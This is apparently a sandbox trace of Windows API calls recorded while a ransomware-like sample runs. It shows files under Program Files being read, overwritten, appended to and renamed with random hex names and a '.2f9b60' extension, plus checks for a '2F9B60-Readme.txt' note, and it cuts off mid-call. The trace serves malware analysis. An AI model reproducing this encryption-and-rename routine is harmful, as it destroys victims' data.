[0129.224] RtlRandomEx (in: Seed=0x1e64f930 | out: Seed=0x1e64f930) returned 0x147de11b [0129.224] RtlRandomEx (in: Seed=0x1e64f930 | out: Seed=0x1e64f930) returned 0x6eeb1441 [0129.224] RtlRandomEx (in: Seed=0x1e64f930 | out: Seed=0x1e64f930) returned 0x7de814c4 [0129.224] RtlRandomEx (in: Seed=0x1e64f930 | out: Seed=0x1e64f930) returned 0x4db84f29 [0129.224] RtlRandomEx (in: Seed=0x1e64f930 | out: Seed=0x1e64f930) returned 0x6d6ac2b2 [0129.224] RtlRandomEx (in: Seed=0x1e64f930 | out: Seed=0x1e64f930) returned 0x824bc48 [0129.224] RtlRandomEx (in: Seed=0x1e64f930 | out: Seed=0x1e64f930) returned 0x5cb6fa72 [0129.236] SetFilePointerEx (in: hFile=0x151c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.237] ReadFile (in: hFile=0x151c, lpBuffer=0x2044e2e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1e64f9a0, lpOverlapped=0x0 | out: lpBuffer=0x2044e2e0*, lpNumberOfBytesRead=0x1e64f9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0129.240] SetFilePointerEx (in: hFile=0x151c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.240] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0129.241] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0129.241] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859670 [0129.241] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859670) returned 1 [0129.241] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2045d320 [0129.241] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859670 [0129.241] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b3e0 [0129.241] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b3e0) returned 1 [0129.242] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0129.242] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0129.242] WriteFile (in: hFile=0x151c, lpBuffer=0x2045d320*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1e64f9a0, lpOverlapped=0x0 | out: lpBuffer=0x2045d320*, lpNumberOfBytesWritten=0x1e64f9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0129.250] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2045d320) returned 1 [0129.250] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2044e2e0) returned 1 [0129.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85b3e0 [0129.250] SetFilePointerEx (in: hFile=0x151c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0129.250] WriteFile (in: hFile=0x151c, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1e64fa50, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x1e64fa50*=0x10a, lpOverlapped=0x0) returned 1 [0129.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0129.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0129.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8594c0 [0129.257] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8594c0) returned 1 [0129.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0129.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8594c0 [0129.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a960 [0129.257] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a960) returned 1 [0129.257] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0129.257] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0129.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9e930 [0129.257] sprintf (in: _Dest=0x1cd9e930, _Format="%c%c" | out: _Dest="10") returned 2 [0129.257] sprintf (in: _Dest=0x1cd9e932, _Format="%c%c" | out: _Dest="21") returned 2 [0129.257] sprintf (in: _Dest=0x1cd9e934, _Format="%c%c" | out: _Dest="8d") returned 2 [0129.257] sprintf (in: _Dest=0x1cd9e936, _Format="%c%c" | out: _Dest="ec") returned 2 [0129.257] sprintf (in: _Dest=0x1cd9e938, _Format="%c%c" | out: _Dest="15") returned 2 [0129.257] sprintf (in: _Dest=0x1cd9e93a, _Format="%c%c" | out: _Dest="86") returned 2 [0129.258] sprintf (in: _Dest=0x1cd9e93c, _Format="%c%c" | out: _Dest="bd") returned 2 [0129.258] sprintf (in: _Dest=0x1cd9e93e, _Format="%c%c" | out: _Dest="ed") returned 2 [0129.258] sprintf (in: _Dest=0x1cd9e940, _Format="%c%c" | out: _Dest="0f") returned 2 [0129.258] sprintf (in: _Dest=0x1cd9e942, _Format="%c%c" | out: _Dest="92") returned 2 [0129.258] sprintf (in: _Dest=0x1cd9e944, _Format="%c%c" | out: _Dest="df") returned 2 [0129.258] sprintf (in: _Dest=0x1cd9e946, _Format="%c%c" | out: _Dest="15") returned 2 [0129.258] sprintf (in: _Dest=0x1cd9e948, _Format="%c%c" | out: _Dest="1c") returned 2 [0129.258] sprintf (in: _Dest=0x1cd9e94a, _Format="%c%c" | out: _Dest="94") returned 2 [0129.258] sprintf (in: _Dest=0x1cd9e94c, _Format="%c%c" | out: _Dest="db") returned 2 [0129.258] sprintf (in: _Dest=0x1cd9e94e, _Format="%c%c" | out: _Dest="07") returned 2 [0129.258] sprintf (in: _Dest=0x1cd9e950, _Format="%c%c" | out: _Dest="4a") returned 2 [0129.258] sprintf (in: _Dest=0x1cd9e952, _Format="%c%c" | out: _Dest="45") returned 2 [0129.258] sprintf (in: _Dest=0x1cd9e954, _Format="%c%c" | out: _Dest="ce") returned 2 [0129.258] sprintf (in: _Dest=0x1cd9e956, _Format="%c%c" | out: _Dest="84") returned 2 [0129.258] sprintf (in: _Dest=0x1cd9e958, _Format="%c%c" | out: _Dest="ff") returned 2 [0129.258] sprintf (in: _Dest=0x1cd9e95a, _Format="%c%c" | out: _Dest="16") returned 2 [0129.258] sprintf (in: _Dest=0x1cd9e95c, _Format="%c%c" | out: _Dest="c2") returned 2 [0129.258] sprintf (in: _Dest=0x1cd9e95e, _Format="%c%c" | out: _Dest="52") returned 2 [0129.258] RtlInitAnsiString (in: DestinationString=0x1e64fac8, SourceString="10218dec1586bded0f92df151c94db074a45ce84ff16c252" | out: DestinationString="10218dec1586bded0f92df151c94db074a45ce84ff16c252") [0129.258] RtlAnsiStringToUnicodeString (in: DestinationString=0x1e64fa98, SourceString="10218dec1586bded0f92df151c94db074a45ce84ff16c252", AllocateDestinationString=1 | out: DestinationString="10218dec1586bded0f92df151c94db074a45ce84ff16c252") returned 0x0 [0129.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86e4f0 [0129.259] wcscat (in: _Dest=0x4205d0f0, _Source="10218dec1586" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\10218dec1586") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\10218dec1586" [0129.259] wcscat (in: _Dest=0x4205d0f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\10218dec1586.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\10218dec1586.2f9b60" [0129.259] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\10218dec1586.2f9b60", NtPathName=0x1e64fa70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\10218dec1586.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0129.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x106f40 [0129.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106f40) returned 1 [0129.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0129.261] NtQueryInformationFile (in: FileHandle=0x151c, IoStatusBlock=0x1e64fad8, FileInformation=0x1e64fae8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1e64fad8, FileInformation=0x1e64fae8) returned 0x0 [0129.261] NtSetInformationFile (FileHandle=0x151c, IoStatusBlock=0x1e64fad8, FileInformation=0x1e64fae8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0129.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d0f0) returned 1 [0129.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e4f0) returned 1 [0129.264] FlushFileBuffers (hFile=0x151c) returned 1 [0129.281] CloseHandle (hObject=0x151c) returned 1 [0129.283] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205d0f0 [0129.283] wcscpy (in: _Dest=0x4205d0f0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0129.283] wcscat (in: _Dest=0x4205d0f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0129.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0129.284] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d0f0) returned 1 [0129.284] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85cde0) returned 1 Thread: id = 1677 os_tid = 0x1bc8 [0129.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf")) returned 0x20 [0129.251] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF", dwFileAttributes=0x20) returned 1 [0129.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1630 [0129.253] GetFileSizeEx (in: hFile=0x1630, lpFileSize=0x1d10fb60 | out: lpFileSize=0x1d10fb60*=8256) returned 1 [0129.253] SetFilePointerEx (in: hFile=0x1630, liDistanceToMove=0x203c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.253] ReadFile (in: hFile=0x1630, lpBuffer=0x1d10fae0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d10fb28, lpOverlapped=0x0 | out: lpBuffer=0x1d10fae0*, lpNumberOfBytesRead=0x1d10fb28*=0x4, lpOverlapped=0x0) returned 1 [0129.266] SetFilePointerEx (in: hFile=0x1630, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8594f0 [0129.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b290 [0129.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a420 [0129.266] NtQuerySystemTime (in: CurrentTime=0x1d10fa20 | out: CurrentTime=0x1d10fa20*=132462177345262000) returned 0x0 [0129.266] RtlRandomEx (in: Seed=0x1d10fa10 | out: Seed=0x1d10fa10) returned 0x97a77e [0129.266] RtlRandomEx (in: Seed=0x1d10fa10 | out: Seed=0x1d10fa10) returned 0xf262bdb [0129.266] RtlRandomEx (in: Seed=0x1d10fa10 | out: Seed=0x1d10fa10) returned 0x572f4a41 [0129.266] RtlRandomEx (in: Seed=0x1d10fa10 | out: Seed=0x1d10fa10) returned 0x7a4acac0 [0129.266] RtlRandomEx (in: Seed=0x1d10fa10 | out: Seed=0x1d10fa10) returned 0x7b9cd78b [0129.266] RtlRandomEx (in: Seed=0x1d10fa10 | out: Seed=0x1d10fa10) returned 0x4622de9e [0129.266] RtlRandomEx (in: Seed=0x1d10fa10 | out: Seed=0x1d10fa10) returned 0x5f901b4 [0129.266] RtlRandomEx (in: Seed=0x1d10fa10 | out: Seed=0x1d10fa10) returned 0x27aa9981 [0129.266] RtlRandomEx (in: Seed=0x1d10fa10 | out: Seed=0x1d10fa10) returned 0x5e273510 [0129.267] RtlRandomEx (in: Seed=0x1d10fa10 | out: Seed=0x1d10fa10) returned 0x249a3b86 [0129.267] RtlRandomEx (in: Seed=0x1d10fa10 | out: Seed=0x1d10fa10) returned 0x296c1a47 [0129.267] RtlRandomEx (in: Seed=0x1d10fa10 | out: Seed=0x1d10fa10) returned 0x34a116bb [0129.267] RtlRandomEx (in: Seed=0x1d10fa10 | out: Seed=0x1d10fa10) returned 0x299f2d2a [0129.267] RtlRandomEx (in: Seed=0x1d10fa10 | out: Seed=0x1d10fa10) returned 0x32bddd62 [0129.267] RtlRandomEx (in: Seed=0x1d10fa10 | out: Seed=0x1d10fa10) returned 0x533de0a0 [0129.267] RtlRandomEx (in: Seed=0x1d10fa10 | out: Seed=0x1d10fa10) returned 0x42eb1003 [0129.267] RtlRandomEx (in: Seed=0x1d10fa10 | out: Seed=0x1d10fa10) returned 0x3f7f6afb [0129.267] RtlRandomEx (in: Seed=0x1d10fa10 | out: Seed=0x1d10fa10) returned 0x3594af96 [0129.267] RtlRandomEx (in: Seed=0x1d10fa10 | out: Seed=0x1d10fa10) returned 0x10e47387 [0129.267] RtlRandomEx (in: Seed=0x1d10fa10 | out: Seed=0x1d10fa10) returned 0x4e747eae [0129.267] RtlRandomEx (in: Seed=0x1d10fa10 | out: Seed=0x1d10fa10) returned 0x387762c7 [0129.267] RtlRandomEx (in: Seed=0x1d10fa10 | out: Seed=0x1d10fa10) returned 0x9124768 [0129.267] RtlRandomEx (in: Seed=0x1d10fa10 | out: Seed=0x1d10fa10) returned 0x64b4e302 [0129.267] RtlRandomEx (in: Seed=0x1d10fa10 | out: Seed=0x1d10fa10) returned 0x6aa92f94 [0129.267] RtlRandomEx (in: Seed=0x1d10fa10 | out: Seed=0x1d10fa10) returned 0x2c4f854e [0129.267] RtlRandomEx (in: Seed=0x1d10fa10 | out: Seed=0x1d10fa10) returned 0x4cfdd88e [0129.267] RtlRandomEx (in: Seed=0x1d10fa10 | out: Seed=0x1d10fa10) returned 0xfc9d687 [0129.268] RtlRandomEx (in: Seed=0x1d10fa10 | out: Seed=0x1d10fa10) returned 0x5211c7f [0129.268] RtlRandomEx (in: Seed=0x1d10fa10 | out: Seed=0x1d10fa10) returned 0x44b02206 [0129.268] RtlRandomEx (in: Seed=0x1d10fa10 | out: Seed=0x1d10fa10) returned 0x6363f443 [0129.268] RtlRandomEx (in: Seed=0x1d10fa10 | out: Seed=0x1d10fa10) returned 0x3237b402 [0129.268] RtlRandomEx (in: Seed=0x1d10fa10 | out: Seed=0x1d10fa10) returned 0x4edb5ea7 [0129.280] ReadFile (in: hFile=0x1630, lpBuffer=0x2044e2e0, nNumberOfBytesToRead=0x2040, lpNumberOfBytesRead=0x1d10fa10, lpOverlapped=0x0 | out: lpBuffer=0x2044e2e0*, lpNumberOfBytesRead=0x1d10fa10*=0x2040, lpOverlapped=0x0) returned 1 [0129.286] SetFilePointerEx (in: hFile=0x1630, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.286] WriteFile (hFile=0x1630, lpBuffer=0x2045d320, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x1d10fa14, lpOverlapped=0x0) [0172.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5c80 [0172.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f55c0 [0172.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f55c0) returned 1 [0172.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2045d320) returned 1 [0172.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2044e2e0) returned 1 [0172.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0172.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0172.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x422f55c0 [0172.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0172.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0172.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3e80 [0172.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3e80) returned 1 [0172.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x422f3e80 [0172.957] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3e50 [0172.957] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3d90 [0172.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3d90) returned 1 [0172.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0172.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0172.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x42c15ef0 [0172.959] SetFilePointerEx (in: hFile=0x1630, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0172.959] WriteFile (in: hFile=0x1630, lpBuffer=0x42c15ef0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1d10fb30, lpOverlapped=0x0 | out: lpBuffer=0x42c15ef0*, lpNumberOfBytesWritten=0x1d10fb30*=0x10a, lpOverlapped=0x0) returned 1 [0200.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420591a0 [0200.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0200.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff1f0 [0200.003] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff1f0) returned 1 [0200.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x42c0f0e0 [0200.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff1f0 [0200.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff220 [0200.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff220) returned 1 [0200.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0200.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420591a0) returned 1 [0200.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9ebf0 [0200.005] sprintf (in: _Dest=0x1cd9ebf0, _Format="%c%c" | out: _Dest="71") returned 2 [0200.005] sprintf (in: _Dest=0x1cd9ebf2, _Format="%c%c" | out: _Dest="cf") returned 2 [0200.006] sprintf (in: _Dest=0x1cd9ebf4, _Format="%c%c" | out: _Dest="8d") returned 2 [0200.006] sprintf (in: _Dest=0x1cd9ebf6, _Format="%c%c" | out: _Dest="4a") returned 2 [0200.006] sprintf (in: _Dest=0x1cd9ebf8, _Format="%c%c" | out: _Dest="88") returned 2 [0200.006] sprintf (in: _Dest=0x1cd9ebfa, _Format="%c%c" | out: _Dest="e2") returned 2 [0200.006] sprintf (in: _Dest=0x1cd9ebfc, _Format="%c%c" | out: _Dest="72") returned 2 [0200.006] sprintf (in: _Dest=0x1cd9ebfe, _Format="%c%c" | out: _Dest="de") returned 2 [0200.006] sprintf (in: _Dest=0x1cd9ec00, _Format="%c%c" | out: _Dest="3a") returned 2 [0200.006] sprintf (in: _Dest=0x1cd9ec02, _Format="%c%c" | out: _Dest="15") returned 2 [0200.006] sprintf (in: _Dest=0x1cd9ec04, _Format="%c%c" | out: _Dest="1d") returned 2 [0200.006] sprintf (in: _Dest=0x1cd9ec06, _Format="%c%c" | out: _Dest="bc") returned 2 [0200.006] sprintf (in: _Dest=0x1cd9ec08, _Format="%c%c" | out: _Dest="b2") returned 2 [0200.006] sprintf (in: _Dest=0x1cd9ec0a, _Format="%c%c" | out: _Dest="91") returned 2 [0200.006] sprintf (in: _Dest=0x1cd9ec0c, _Format="%c%c" | out: _Dest="74") returned 2 [0200.006] sprintf (in: _Dest=0x1cd9ec0e, _Format="%c%c" | out: _Dest="70") returned 2 [0200.006] sprintf (in: _Dest=0x1cd9ec10, _Format="%c%c" | out: _Dest="25") returned 2 [0200.006] sprintf (in: _Dest=0x1cd9ec12, _Format="%c%c" | out: _Dest="0e") returned 2 [0200.006] sprintf (in: _Dest=0x1cd9ec14, _Format="%c%c" | out: _Dest="99") returned 2 [0200.006] sprintf (in: _Dest=0x1cd9ec16, _Format="%c%c" | out: _Dest="a8") returned 2 [0200.006] sprintf (in: _Dest=0x1cd9ec18, _Format="%c%c" | out: _Dest="0c") returned 2 [0200.006] sprintf (in: _Dest=0x1cd9ec1a, _Format="%c%c" | out: _Dest="23") returned 2 [0200.006] sprintf (in: _Dest=0x1cd9ec1c, _Format="%c%c" | out: _Dest="40") returned 2 [0200.006] sprintf (in: _Dest=0x1cd9ec1e, _Format="%c%c" | out: _Dest="be") returned 2 [0200.006] RtlInitAnsiString (in: DestinationString=0x1d10fba8, SourceString="71cf8d4a88e272de3a151dbcb2917470250e99a80c2340be" | out: DestinationString="71cf8d4a88e272de3a151dbcb2917470250e99a80c2340be") [0200.007] RtlAnsiStringToUnicodeString (in: DestinationString=0x1d10fb78, SourceString="71cf8d4a88e272de3a151dbcb2917470250e99a80c2340be", AllocateDestinationString=1 | out: DestinationString="71cf8d4a88e272de3a151dbcb2917470250e99a80c2340be") returned 0x0 [0200.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430a0240 [0200.007] wcscat (in: _Dest=0x431e36c0, _Source="71cf8d4a88e2" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\71cf8d4a88e2") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\71cf8d4a88e2" [0200.007] wcscat (in: _Dest=0x431e36c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\71cf8d4a88e2.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\71cf8d4a88e2.2f9b60" [0200.007] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\71cf8d4a88e2.2f9b60", NtPathName=0x1d10fb50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\71cf8d4a88e2.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x431ec960 Thread: id = 1678 os_tid = 0x1bcc [0129.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1b8615f0 [0129.307] wcscpy (in: _Dest=0x1b8615f0, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList" [0129.307] wcscat (in: _Dest=0x1b8615f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\" [0129.307] wcscat (in: _Dest=0x1b8615f0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*" [0129.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1dd20 [0129.307] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*", lpFindFileData=0x1ce1dd20 | out: lpFindFileData=0x1ce1dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9cbb0 [0129.309] wcscmp (_String1=".", _String2=".") returned 0 [0129.309] FindNextFileW (in: hFindFile=0x1cd9cbb0, lpFindFileData=0x1ce1dd20 | out: lpFindFileData=0x1ce1dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0129.309] wcscmp (_String1="..", _String2=".") returned 1 [0129.309] wcscmp (_String1="..", _String2="..") returned 0 [0129.309] FindNextFileW (in: hFindFile=0x1cd9cbb0, lpFindFileData=0x1ce1dd20 | out: lpFindFileData=0x1ce1dd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58775f6b, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x58775f6b, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x77e270fc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 1 [0129.309] wcscmp (_String1="FrameworkList.xml", _String2=".") returned 1 [0129.309] wcscmp (_String1="FrameworkList.xml", _String2="..") returned 1 [0129.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x1197f0 [0129.309] wcscpy (in: _Dest=0x1197f0, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList" [0129.310] wcscat (in: 